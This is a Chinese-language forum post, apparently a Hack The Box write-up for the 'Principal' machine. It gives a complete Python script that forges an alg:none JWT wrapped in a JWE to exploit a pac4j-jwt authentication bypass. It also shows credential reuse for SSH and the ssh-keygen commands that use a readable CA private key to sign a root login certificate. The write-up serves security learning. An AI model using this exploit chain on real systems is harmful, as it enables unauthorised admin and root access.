首页
社区
课程
招聘
[原创]HTB Principal渗透测试题目 writeup
发表于: 2小时前 71

[原创]HTB Principal渗透测试题目 writeup

2小时前
71

前渗透

通过nmap扫描,发现了两个开放的端口:22与8080,其中8080提供了一个http服务

alt text

访问发现是一个登陆页面,在brup抓包里得到了一个版本信息:

alt text

alt text

搜索pac4j-jwt/6.0.3的cve漏洞,发现了一个CVE-2026-29000,这个漏洞是近一个月的,非常新

该漏洞的原理是:服务器在获取到JWE时,一般而言会先解密 JWE,然后解析内层 JWT,最后验证内层 JWT 签名,pac4j-jwt 在处理内层 JWT 时,会使用 toSignedJWT() 方法来提取带签名的 Token。然而,如果攻击者将内层 JWT 的签名算法设置为 alg: none,该方法会返回null。而代码逻辑在其返回null时会直接跳过后续的签名验证步骤,从而出现提权漏洞

不过要利用这个漏洞还需要拥有服务器的 RSA 公钥,分析一下用于支撑该页面前端逻辑的/static/js/app.js,发现了一个关键路由:

alt text

访问发现该路由不需要验证,直接返回了服务器的rsa公钥

alt text

{"keys":[{"kty":"RSA","e":"AQAB","kid":"enc-key-1","n":"lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"}]}

app.js里也泄露了jwt的payload格式:

alt text

因此我们只需要构造一个Header里的alg为none,在payload里写上:

{
        "sub": "admin",
        "role": "ROLE_ADMIN",
        "iss": "principal-platform",
        "iat": int(time.time()),
        "exp": int(time.time())
}

签发时间与过期时间使用python的time库获取

再把签名设置为空,最后再使用RSA密钥加密即可。不过这个还不是完整的JWE。生成完整JWE的脚本:

import json
import base64
import time
from jwcrypto import jwk, jwe
from jwcrypto.common import json_encode

jwks_data = {
    "keys": [{
        "kty": "RSA",
        "e": "AQAB",
        "kid": "enc-key-1",
        "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
    }]
}


def base64url_encode(data: bytes) -> str:
    """Base64URL编码,去除填充"""
    return base64.urlsafe_b64encode(data).decode('utf-8').rstrip('=')


def build_unsigned_jwt() -> str:
    """构造一个 alg: none 的未签名 JWT(三段式,第三段为空)"""
    header = {
        "alg": "none",
        "typ": "JWT"
    }
    payload = {
        "sub": "admin",  # 管理员用户名
        "role": "ROLE_ADMIN",  # 管理员角色
        "iss": "principal-platform",  # 必须与 app.js 中一致
        "iat": int(time.time()),  # 签发时间
        "exp": int(time.time()) + 3600  # 1小时后过期
    }
    # 编码 header 和 payload
    header_enc = base64url_encode(json.dumps(header, separators=(',', ':')).encode())
    payload_enc = base64url_encode(json.dumps(payload, separators=(',', ':')).encode())
    # 未签名 JWT 格式:header.payload. (最后一段为空)
    unsigned_jwt = f"{header_enc}.{payload_enc}."
    return unsigned_jwt


def encrypt_to_jwe(plaintext: str, rsa_public_key: jwk.JWK) -> str:
    """使用 RSA-OAEP-256 + A128GCM 加密明文,返回 JWE Token"""
    # 创建 JWE 对象,指定算法和加密方法
    jwe_token = jwe.JWE(
        plaintext.encode('utf-8'),
        json_encode({
            "alg": "RSA-OAEP-256",
            "enc": "A128GCM",
            "kid": "enc-key-1"  # 必须与 JWKS 中的 kid 匹配
        })
    )
    jwe_token.add_recipient(rsa_public_key)
    # 生成紧凑序列化格式(5段,点分隔)
    return jwe_token.serialize(compact=True)


def main():
    # 从 JWKS 构建 RSA 公钥对象
    rsa_key = jwk.JWK.from_json(json_encode(jwks_data["keys"][0]))

    # 1. 构造未签名 JWT
    unsigned_jwt = build_unsigned_jwt()
    print(f"[*] 未签名 JWT (alg: none):\n{unsigned_jwt}\n")

    # 2. 加密成 JWE Token
    final_token = encrypt_to_jwe(unsigned_jwt, rsa_key)
    print(f"[*] 最终 JWE Token:\n{final_token}\n")

    # 3. 使用提示
    print("[+] 使用方法:")
    print("   - 浏览器中打开登录页面,打开开发者工具控制台,执行:")
    print(f"        sessionStorage.setItem('auth_token', '{final_token}');")
    print("        location.href = '/dashboard';")
    print("   - 或者直接用 curl 测试:")
    print(f"        curl -H 'Authorization: Bearer {final_token}' http://靶机IP/api/users")


if __name__ == "__main__":
    main()

伪造登录成功,可以看到已经通过认证了:

alt text

访问/api/settings,发现了一个security栏:

alt text

encryptionKey栏有一个D3pl0y_$$H_Now42!,提示deploy_SSH_now,说明这可能是用来ssh登陆的密钥

访问/api/users

alt text

发现一个svc_deploy,其名字与密码的提示比较相近,猜测得到的密码可以登陆该用户(猜测不到也没事,穷举一遍即可)

alt text

登陆成功!

后渗透

使用groups检查一下自己在什么组

alt text

发现了一个deployers组,使用命令find / -group deployers -readable 2>/dev/null查找有哪些可读的内容

alt text

/opt/principal/ssh路径是可读的,同时有一个可读的配置文件/etc/ssh/sshd_config.d/60-principal.conf

检查文件内容:

alt text

root不允许使用密码登录,但是最后一行TrustedUserCAKeys /opt/principal/ssh/ca.pub其指定一个受信任的 SSH 用户证书颁发机构(CA)的公钥文件路径(此处为 /opt/principal/ssh/ca.pub)。当客户端使用由该 CA 签发的用户证书进行认证时,sshd 会使用此公钥来验证证书签名的有效性。而这个路径下的文件我们是可以访问的,因此我们可以通过获取ca的私钥文件,并利用ssh-keygen 和私钥文件签发证书

看看/opt/principal/ssh/下有哪些文件

alt text

存在ca私钥文件且可读,

alt text

将私钥保存到本地,然后签发证书。

# 生成用户密钥对
ssh-keygen -t rsa -f principal_user -N ""
# 使用 CA 私钥签发证书,有效期为 30 mins,允许登录 root
ssh-keygen -s ca -I "any_identity" -n root -V +30m principal_user.pub

alt text

alt text

生成了我们最终要的证书,接下来就可以使用ssh -i principal_user root@<靶机IP>登录到root用户了

alt text

提权完成。


传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回